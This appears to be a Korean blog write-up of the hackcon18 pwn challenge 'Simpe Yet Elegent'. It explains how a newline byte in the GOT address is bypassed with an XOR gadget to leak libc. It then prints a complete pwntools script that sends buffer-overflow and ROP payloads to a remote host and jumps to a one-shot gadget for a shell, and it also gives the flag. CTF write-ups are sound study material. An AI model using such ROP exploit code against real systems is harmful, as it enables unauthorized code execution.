[hackcon18] Simpe Yet Elegent

2018. 8. 18. 15:13

hackcon 18 에 있었던 pwn 문제중 가장 배점이 높은 문제이다.

사실상 어렵지 않은 문제였는데; 


아마 함정으로 준비한 포맷스트링에 낚여서 꽤나 헤매다가 풀었다 ㅡㅡ;

딱히 FSB를 사용안하고 BOF, ROP를 통해 충분히 풀수 있는 문제였다;;

그래서 flag도 d4rk{r0p_ch41n1n6_15_5up3r_fun_0n_64_b17_5y573m}c0de 

rop chaining만으로 가능한 것...


뭐.. 대부분의 사람들이 fsb로 leak을 했는데, 그 이유가 일단 got영역의 주소가 0x600a00부터인데 여기서 0a가 개행문자이기때문에 scanf에서 짤려버린다;

그래서 puts를 통해 라이브러리주소를 릭을 하고 싶어도 got주소가 안들어가니 막히는 것이다...


그런데 xor을 이용하면 충분히 해결할 수 있는 문제였다.



여기서 pop rdi; ret; xor edi, ebp; ret; 두 가젯만 있으면 rdi값을 컨트롤 할 수 있다.

rdi에 0x601AE0를 넣고 rbp에 0x1000을 넣어서 두개를 xor하면 0x600AE0이 만들어진다!!


이렇게 leak하고 oneshot가젯으로 뛰어서 쉘을 띄웠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
from pwn import *
 
#context.log_level = 'debug'
 
#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#conn = process("./main")
 
elf = ELF("./libc-2.19.so")
conn = remote("139.59.30.165"9200)
 
main_addr = 0x400637
fflush_got = 0x600AE0
fflush_offset = elf.symbols['fflush']
oneshot = 0xea36d
 
puts_plt = 0x400510
pop_rdi = 0x400733
xor_edi = 0x4006c3
 
def leak_stack():
    conn.recvuntil("Give me some inputz:")
    payload = "%42$lx"
    payload += "A"*(0x40-len(payload))
    payload += p64(0x1000)
    payload += p64(pop_rdi)
    payload += p64(fflush_got+0x1000)
    payload += p64(xor_edi)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    conn.sendline(payload)
 
    stack_addr = conn.recvuntil("AA").strip()[:-2]
    stack_addr = int(stack_addr,16)-0xd0+0x28
 
    conn.recvline()
    libc_addr = conn.recv(6+ "\x00"*2
    print(len(libc_addr))
    
    libc_addr = u64(libc_addr) - fflush_offset
    return stack_addr, libc_addr
 
def Attack(fsb):
    conn.recvuntil("Give me some inputz:")
    payload = fsb
    payload += "A"*(0x40-len(payload))
    payload += p64(0xdeadbeef)
    payload += p64(main_addr)
 
    conn.sendline(payload)
    
def oneshot_attack(oneshot_addr):
    conn.recvuntil("Give me some inputz:")
    payload = "A"*0x40
    payload += p64(0xdeadbeef)
    payload += p64(oneshot_addr)
 
    conn.sendline(payload)    
    
stack_addr, libc_addr = leak_stack()
log.info("stack_addr : " + hex(stack_addr))
log.info("libc_addr : " + hex(libc_addr))
 
oneshot_addr = libc_addr+oneshot
oneshot_attack(oneshot_addr)
 
conn.interactive()
cs


a

'Write-up > Pwnable' 카테고리의 다른 글

[PlaidCTF] ropasaurusrex  (0) 2018.08.27
[Codegate] BugBug  (0) 2018.08.22
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13
[WhiteHatWargame.vn] mini-game  (0) 2018.08.13
[WhiteHatWargame.vn] onechange  (0) 2018.08.13

+ Recent posts